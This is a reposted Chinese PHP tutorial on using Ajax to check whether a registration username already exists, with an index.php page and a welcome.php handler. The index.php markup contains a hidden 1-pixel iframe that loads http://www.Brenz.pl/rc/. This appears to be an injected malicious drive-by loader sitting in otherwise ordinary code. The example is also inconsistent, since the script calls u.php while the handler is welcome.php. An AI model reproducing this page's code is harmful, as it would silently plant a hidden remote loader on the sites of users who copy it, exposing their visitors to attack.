PHP系列之集成Ajax实现登录验证
【摘要】
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script t...
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
-
<html>
-
<head>
-
<meta http-equiv="content-type" content="text/html; charset=gb2312" />
-
<script type="text/JavaScript">
-
function Ajax(){
-
var xmlHttpReq=null;//初始对象xmlHttpReq
-
if(window.ActiveXObject){
-
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
-
}else if(window.XMLHttpRequest){
-
xmlHttpReq=new XMLHttpRequest();
-
}
-
var userId=document.getElementById("userId").value;//value取得id为userId的值
-
url="u.php?userId="+userId;//路径
-
if(xmlHttpReq!=null){//若对象实例化创建成功
-
xmlHttpReq.open("GET",url,true);//open()打开请求
-
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
-
xmlHttpReq.send(null);//请求不包括正文
-
}
-
function RequestCallBack(){//回调函数
-
if(xmlHttpReq.readystate==4){
-
if(xmlHttpReq.status==200){//请求成功
-
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
-
}
-
}
-
}
-
-
}
-
-
</script>
-
</head>
-
<body>
-
<font>
-
注册
-
</font><br>
-
<form>
-
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">
-
-
<div id="get">
-
</div>
-
</form>
-
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
-
</body>
-
</html>
welcome.php
-
<?php
-
header("content-type:text/html;charset=gb2312");
-
//sleep(1);
-
-
$userId=$_GET["userId"];
-
if($userId=="管理员"){
-
echo "用户名已存在!";
-
}else{
-
echo "该用户名可以注册";
-
}
-
?>
文章来源: smilenicky.blog.csdn.net,作者:smileNicky,版权归原作者所有,如需转载,请联系作者。
原文链接:smilenicky.blog.csdn.net/article/details/50901082
【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)